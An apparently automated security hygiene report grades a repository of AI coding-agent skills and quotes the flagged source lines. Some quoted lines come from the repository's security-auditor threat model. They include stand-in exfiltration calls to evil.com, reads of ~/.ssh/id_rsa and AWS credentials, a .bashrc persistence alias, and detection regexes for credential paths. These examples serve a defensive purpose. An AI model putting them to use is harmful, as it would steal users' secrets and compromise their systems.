Claude Code, Skill
It Department Skills
Battle-tested global rules, portable skills, and a token-efficient skill-discovery system for AI coding agents (Claude Code, Cursor, Codex, Copilot — anything with a shell).
Compatibility: Not stated.
Grade C
One Medium finding. Read the findings before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 144cea32892c, unchanged since the check below.
SECRETS_PATH_CREDENTIAL
Why this grade
- SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
skills/skill-security-auditor/SKILL.md, line 121
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
install.py, line 111
shutil.rmtree(p)
install.py, line 236
result = subprocess.run([sys.executable, str(build_index), "--quiet"])
personalize.py, line 152
version = subprocess.run(
Show more
personalize.py, line 161
result = subprocess.run([rtk, "init", "-g", "--auto-patch"])
personalize.py, line 173
subprocess.run([sys.executable, str(build_index), "--quiet"])
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 124
"risk": "Arbitrary command execution via os.system()", # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 125
"fix": "Use subprocess.run() with list arguments and shell=False", # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 131
"risk": "Command execution via os.popen()", # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 132
"fix": "Use subprocess.run() with list arguments and capture_output=True", # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 962
shutil.rmtree(tmp_dir, ignore_errors=True) # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 974
shutil.rmtree(tmp_dir, ignore_errors=True) # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 1090
shutil.rmtree(cleanup_dir, ignore_errors=True) # noqa: SEC-AUDITOR
Install and update
Pass
No install-time script found, and dependencies are pinned or absent.
Network
Concern
can reach a host that is not written as a fixed address. can reach raw.githubusercontent.com. The description does not name that host. can reach evil.com. The description does not name that host. can reach analytics.evil.com. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
CLAUDE.md, line 110
rtk curl <url> # Compact HTTP responses (70%)
CLAUDE.md, line 111
rtk wget <url> # Compact download output (65%)
install.py, line 271
say(" curl -fsSL https://raw.githubusercontent.com/JuliusBrussee/caveman/main/install.sh -o /tmp/caveman-install.sh")
Show more
hooks/skills-discovery-guard.py, line 38
print(" curl http://127.0.0.1:3401/search?q=<intent> (HTTP API, if skillserve.py is running)", file=sys.stderr)
skills/skill-security-auditor/SKILL.md, line 116
Pattern: requests.post("https://evil.com/collect", data=results)
skills/skill-security-auditor/references/threat-model.md, line 162
urllib.request.urlopen(f"https://analytics.evil.com/log?d={results}")
skills/skill-security-auditor/references/threat-model.md, line 212
echo 'alias python="python3 -c \"import urllib.request; urllib.request.urlopen(\\\"https://evil.com/ping\\\")\" && python3"' >> ~/.bashrc
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 585
"risk": "Outbound HTTP write request via fetch()", # noqa: SEC-AUDITOR
skills/tech-debt-tracker/assets/sample_codebase/src/frontend.js, line 166
fetch(API_BASE_URL + '/users/' + userId, {
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
skills/skill-security-auditor/SKILL.md, line 121
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 272
"regex": r"(?:open|read|Path)\s*\([^)]*(?:\.ssh|\.aws|\.config/secrets|\.gnupg|\.npmrc|\.pypirc)", # noqa: SEC-AUDITOR
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 452
"regex": r"(?i)(?:read|access|open|get)\s+(?:the\s+)?(?:contents?\s+of\s+)?(?:~|\/home|\/etc|\.ssh|\.aws|\.env|credentials?|secrets?|api.?keys?)", # noqa: SEC-AUDITOR
Show more
skills/skill-security-auditor/scripts/skill_security_auditor.py, line 815
severity = Severity.CRITICAL if item.name == ".env" else Severity.HIGH
skills/skill-tester/references/quality-scoring-rubric.md, line 488
password = os.environ.get("PASSWORD")
skills/skill-security-auditor/SKILL.md, line 84
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
skills/skill-security-auditor/references/threat-model.md, line 63
| HTTP POST | `requests.post()` to external | Send ~/.ssh/id_rsa to attacker |
skills/skill-security-auditor/references/threat-model.md, line 66
| File read | Access credential files | `open(os.path.expanduser("~/.aws/credentials"))` | <!-- noqa: SEC-AUDITOR -->
skills/skill-security-auditor/references/threat-model.md, line 90
| SSH keys | Add authorized keys | Append attacker's key to ~/.ssh/authorized_keys |
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 144cea32892c. can delete files. can reach a host that is not written as a fixed address. can reach raw.githubusercontent.com. The description does not name that host. can reach evil.com. The description does not name that host. can reach analytics.evil.com. The description does not name that host. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: 144cea32892ca999661ccd2256ec7b924bff7f42
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.